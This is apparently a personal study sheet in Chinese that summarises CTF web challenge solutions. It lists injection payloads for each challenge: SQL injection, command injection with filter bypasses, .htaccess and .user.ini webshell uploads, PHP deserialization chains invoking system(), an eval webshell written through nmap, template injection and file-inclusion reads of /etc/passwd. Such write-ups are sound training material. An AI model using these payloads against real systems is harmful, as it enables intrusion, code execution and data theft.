名称 知识点简介 知识点详细描述
[极客大挑战 2019]EasySQL 注入 ,万能密码 页面是用户名密码登录框,尝试参数加单引号出错提示。 password=1' or 1=1%23 拿到flag
强网杯 2019]随便注 先判断哪个参数存在注入, 然后使用堆叠注入 ;show databases;# 更详细的堆叠和handler 语法。
SUCTF 2019]EasySQL
GXYCTF2019]Ping Ping Ping "命令注入:
/?ip=;cat$IFS$9`ls`
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
"
极客大挑战 2019]Upload 上传文件, bp 修改文件名称 filename="xx.phtml",同时 上传的文件头 加入GIF89a
极客大挑战 2019]PHP "目录扫描, 信息收集, 反序列化。 绕过wakeup 函数 。
https://segmentfault.com/a/1190000022534926"
RoarCTF 2019]Easy Calc "命令注入,
考点: 一。 参数是否能生效,参数前面加入空格试试
? num=phpinfo()
=var_dump(scandir(chr(47)))
print_r(file(""flag.php""));//
print_r(scandir('./'))
=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
"
极客大挑战 2019]BuyFlag "答案: password=404 &money[]=1111111111
源码审计:
1. 整数和字符串 什么时候相等。
2. 参数长度绕过, p[]=111"
"[护网杯 2018]easy_tornado
" tornado 的模板注入, 文件读取, md5 算法 通过tornado的模板注入漏洞获取key ,通过md5 算法得到hash, 直接获取flag
HCTF 2018]admin "本题的考点是二次注入,先注册后登录并修改密码。
注册admiN"
BJDCTF2020]Easy MD5 注入, md5后变成正常的字符串。 ffifdyop
ZJCTF 2019]NiZhuanSiWei "第一步:首先拿到题目,审计源码,需要我们传递参数,需要我们写入数据,这里用到了伪协议 data://,然后file_get_contnets()读取里面的字符串与之匹配 payload:?text=data://text/plain,welcome to the zjctf
php://filter/read=convert.base64-encode/resource=useless.php
第二步:不能够直接用flag.php直接访问,我们需要读取useless.php的源码,这时候用到了伪协议中的php://filter来读取,我们读取的字符串是base64格式的需要我们进行转码
第三步:构造反序列化,得到最终的password.
第四步:构造最终的payload,然后在源码中获得flag.
"
MRCTF2020]你传你呢 "上传.htaccess
注意第一行指定的是我们要上传的文件,文件名必须相同才能被当作php文件执行
SetHandler application/x-httpd-php
上传1.png
简单的一句话木马
"
SUCTF 2019]CheckIn "上传 .user.ini
GIF89a
auto_prepend_file=shell.jpg
"
反序列化函数执行顺序 "__construct()
__sleep()
__wakeup()
__toString()
__destruct()
__destruct()"
网鼎杯 2020 青龙组]AreUSerialz "file_get_contents($this->filename);
protected $filename=""php://filter/read=convert.base64-encode/resource=flag.php"";
protected 和public 的绕过。
"
常用序列化代码 "$A=new FileHandler();
$B=serialize($A);
echo $B;"
GXYCTF2019]BabySQli "万能密码的另外一个思路:
select * from users where id=-11 union select 1,2,3;
name=-1' union select 1,'admin','202cb962ac59075b964b07152d234b70'%23 &pw=123"
GYCTF2020]Blacklist "handler handler_table read next;
;show databases;
show tables; 获取表名
show columns from `table_name`; 获取列名
nject=1';handler `FlagHere`open;handler `FlagHere` read next;"
GXYCTF2019]BabyUpload "上传文件,
比较好用的一句话
"
CISCN2019 华北赛区 Day2 Web1]Hack World "id=1^0^1
payload = ""if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)"" % (i, j)"
网鼎杯 2018]Fakebook "?no=-1 union/**/select 1,load_file(""/var/www/html/flag.php""),3,4--+
?no=-1 union/**/select 1,2,3,'O:8:""UserInfo"":3:{s:4:""name"";s:5:""admin"";s:3:""age"";i:19;s:4:""blog"";s:29:""file:///var/www/html/flag.php"";}'"
RoarCTF 2019]Easy Java "源码泄露。 java WEB-INF/web.xml
"
BUUCTF 2018]Online Tool nmap 文件写入。 escapeshellarg()和escapeshellcmd()这个点
BJDCTF2020]The mystery of ip X-Forwarded-For 注入, {7*8} {system('ls')}
GXYCTF2019]禁止套娃 "源码审计:
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp']))
过滤了伪协议
if(';' === preg_replace('/[a-z,_]+(?R)?/', NULL, $_GET['exp'])) 过滤了待参数的函数 。
exp=print_r(scandir(current(localeconv())));
exp=print_r(next(array_reverse(scandir(current(localeconv())))));
highlight_file(next(array_reverse(scandir(current(localeconv())))));"
网鼎杯 2020 朱雀组]phpweb "通过这个 func=file_get_contents&p=index.php 获取到源码。
根据源码,猜测是序列化。
$a = new Test();
// $a->p = 'ls ../../../'; ==> O:4:""Test"":2:{s:1:""p"";s:12:""ls ../../../"";s:4:""func"";s:6:""system"";}
// $a -> p = ""find / -name 'flag*'""; ⇒ O:4:""Test"":2:{s:1:""p"";s:20:""find / -name 'flag*'"";s:4:""func"";s:6:""system"";}
$a -> p = 'cat /tmp/flagoefiu4r93'; // ==> O:4:""Test"":2:{s:1:""p"";s:22:""cat /tmp/flagoefiu4r93"";s:4:""func"";s:6:""system"";}
$a -> func = 'system';
echo (serialize($a));
"
BJDCTF2020]ZJCTF,不过如此 "?text=php://input + post数据 满足 file_get_contents($text,'r' ===""I have a dream""
preg_replace +/e 的绕过payload
next.php?\S*=${eval($_POST[cmd])} post cmd=system(""cat /flag"");"
GWCTF 2019]我有一个数据库 "利用了 phpmyadmin 4.81 存在文件包含漏洞
?target=pdf_pages.php%253f/../../../../../../../../etc/passwd 确定漏洞是否存在"
BSidesCF 2020]Had a bad day "读取文件 /index.php?category=php://filter/convert.base64-encode/index/resource=flag , 注意某些时候不一定需要.php
"
BJDCTF2020]Mark loves cat 源码审计, git 代码下载。 lijiejie 的githack 工具--当前目录下有。 。 变量覆盖。
NCTF2019]Fake XML cookbook "xxe注入: !ENTITY 后面跟的字符串
]>
"
强网杯 2019]高明的黑客 网址被黑, 留下了备份文件, 里面有几千个木马,需要写代码确认那个木马是有效的。
安洵杯 2019]easy_web "命令执行加 md5 强碰撞
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2"
BJDCTF2020]Cookie is so stable 根据提示是cookie 问题, 但是怎么就想到了模板注入。
WUSTCTF2020]朴实无华 "源码审计: 1.
绕过intval 使用'2e1' 绕过 (intval($num) < 2020 && intval($num + 1) > 2021)
md5=md5x 使用 0e215962017 绕过。
命令执行使用 ca\t <绕过空格。 "
安洵杯 2019]easy_serialize_php 有点复杂,稍候看。
CISCN 2019 初赛]Love Math 过滤数学函数
WesternCTF2018]shrine "模板注入, 先使用{{7*7}} 确认注入点。 然后使用
{url_for.__globals__}
{url_for.__globals__['current_app'].config}"
网鼎杯 2020 朱雀组]Nmap "nmap 写文件
'= @eval($_POST[""pwd""]);?> -oG 1.phtml'"
SWPU2019]Web1 "sql 注入 绕过
可能是from和information被过滤了,查资料 (select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats)
学到一个新姿势,mysql.innodb_table_stats查询表名
还可用sys.schema_auto_increment_columns"
MRCTF2020]Ezpop php 序列化调用链 晕了。
NPUCTF2020]ReadlezPHP "反序列化 echo $b($a);
"
反序列化专题 "_construct() //当一个对象创建时被调用
__destruct() //当一个对象销毁时被调用
__toString() //当一个对象被当作一个字符串使用
__sleep()//在对象在被序列化之前运行
__wakeup() //将在反序列化之后立即被调用(通过序列化对象元素个数不符来绕过)
__get() //获得一个类的成员变量时调用
__set() //设置一个类的成员变量时调用
__invoke() //调用函数的方式调用一个对象时的回应方法
__call() //当调用一个对象中的不能用的方法的时候就会执行这个函数
https://blog.csdn.net/solitudi/article/details/113588692
"